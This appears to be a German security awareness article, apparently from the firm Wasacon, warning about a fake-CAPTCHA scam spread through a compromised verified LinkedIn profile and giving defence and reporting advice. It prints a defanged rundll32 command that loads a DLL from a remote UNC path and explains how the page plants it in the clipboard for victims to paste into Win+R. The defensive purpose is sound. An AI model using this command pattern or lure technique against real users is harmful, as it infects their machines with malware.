Was ist der Fake-CAPTCHA-Hack?
Der Fake-CAPTCHA-Hack ist ein Social-Engineering-Angriff, bei dem ein gefälschtes „Ich bin kein Roboter"-Fenster Nutzer dazu verleitet, über Windows + R einen vorbereiteten Malware-Befehl aus der Zwischenablage auszuführen – verbreitet u. a. über kompromittierte LinkedIn-Profile mit Verifizierungs-Badge und über 10.000 Followern. Das Ergebnis: Sofortige Infektion ohne Download-Dialog oder Warnung. Wasacon empfiehlt EDR/XDR-Schutz und Mitarbeiter-Sensibilisierung.
Was hier gerade passiert
Ein scheinbar harmloses Fenster fordert dich auf: „Drücke Windows + R → STRG + V → Enter". Klingt wie eine normale Verifikation? Ist es nicht.
In Wirklichkeit wirst du dazu gebracht, einen fertigen Malware-Befehl aus deiner Zwischenablage auszuführen. Die Seite hat den Schadcode bereits unsichtbar in dein Clipboard kopiert.
Screenshot: So sieht das gefälschte Verifikationsfenster aus
Der Angriffsvektor: LinkedIn
In diesem konkreten Fall kam der Scam über LinkedIn. Ein verifizierter User mit dem offiziellen LinkedIn-Badge und über 10.000 Followern hatte auf seinem Profil einen Link zu seiner Website gepostet. Beim Aufrufen dieser Website startete dann die Fake-CAPTCHA-Abfrage.
Das macht den Angriff besonders tückisch: Das Opfer vertraut der Quelle, weil LinkedIn das Profil verifiziert hat und die große Followerzahl Seriosität suggeriert.
LinkedIn-Verifizierung bestätigt nur die Identität – nicht die Sicherheit verlinkter Websites.
Selbst verifizierte Profile mit großer Reichweite können kompromittiert oder absichtlich für Social Engineering genutzt werden.
Der schädliche Befehl (entschärft)
⚠️ ACHTUNG: NICHT AUSFÜHREN!
Der folgende Befehl wurde absichtlich unbrauchbar gemacht. Die Domain und der Pfad wurden durch Platzhalter ersetzt, um eine versehentliche Ausführung zu verhindern.
rundll32.exe \\[DOMAIN-ENTFERNT].xx.net\xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\ck-xxxxxxxxxx.google,#1
Screenshot: Der eingeschleuste Befehl im Windows-Ausführen-Dialog
• rundll32.exe ist ein Windows-Systemprogramm, das DLL-Dateien laden und ausführen kann
• Der UNC-Pfad (\\server\pfad) lädt eine Datei direkt aus dem Internet
• ,#1 ruft die erste exportierte Funktion der DLL auf – die Malware startet sofort
Warum das so gefährlich ist
Windows + R
Öffnet die direkte Kommandoausführung – der schnellste Weg ins System
STRG + V
Fügt unsichtbar vorbereiteten Schadcode ein, den die Website in deine Zwischenablage geschrieben hat
rundll32.exe
Lädt eine DLL aus dem Internet und führt sie sofort aus – ein legitimes Windows-Tool wird missbraucht
Ergebnis
Malware wird direkt gestartet – ohne Download-Dialog, ohne Browser-Warnung, ohne Benutzerbestätigung
→ Das ist kein Bug, sondern gezielte Manipulation.
Die perfide Masche dahinter
Diese Angriffe funktionieren nicht technisch – sondern psychologisch:
- 1.Du wirst unter Druck gesetzt („Verifikation notwendig", „Zugang gesperrt")
- 2.Du bekommst klare Schritte („nur 3 einfache Klicks") – das senkt die Hemmschwelle
- 3.Du denkst, es ist wie Google reCAPTCHA – ein vertrautes Muster wird missbraucht
- 4.Du vertraust der Quelle – ein verifizierter LinkedIn-User mit 10k+ Followern und offiziellem Badge
Merke: Kein legitimer Dienst fordert dich auf, Windows-Tastenkombinationen zu nutzen.
Was danach passieren kann
Und das alles… in Sekunden.
SO erkennst du den Scam sofort
💡 Merksatz: Wenn du selbst etwas eintippen oder eine Tastenkombination drücken sollst → Finger weg.
Sofortmaßnahmen
✅ NOCH NICHT ausgeführt?
- ✔ Fenster sofort schließen
- ✔ Browser komplett beenden
- ✔ Browser-Cache leeren
- ✔ Zwischenablage leeren (etwas anderes kopieren)
🚨 BEREITS ausgeführt?
- 1. Internet sofort trennen
- 2. PC nicht weiter benutzen
- 3. Offline-Virenscan starten
- 4. Passwörter ändern (anderes Gerät!)
- 5. IT / Admin sofort informieren
Warum das gerade so oft passiert
→ Das ist moderner Social Engineering Malware Delivery.
Malware melden – so gehst du richtig vor
Jeder gemeldete Fall hilft, solche Kampagnen schneller zu stoppen. Nicht schämen, nicht zögern – diese Angriffe sind so gebaut, dass selbst Profis kurz überlegen müssen.
🇩🇪 Offizielle Meldestellen (Deutschland)
IT-Sicherheitsvorfälle melden (Bürger & Unternehmen)
Bei Schaden, Betrug oder Erpressung
Allgemeine Betrugsfälle & Einschätzung
Technische Meldungen für IT-Profis
Windows/Defender-bezogene Vorfälle
🌍 Domains & Hosting melden
📸 Was du bei einer Meldung angeben solltest
Wasacon Empfehlung
Du wurdest nicht gehackt, weil dein System schlecht ist – du wurdest angegriffen, weil du Mensch bist. Genau darauf zielen diese Angriffe ab. Einzelmeldungen bringen wenig – Monitoring + Blocking + EDR/XDR sind entscheidend.
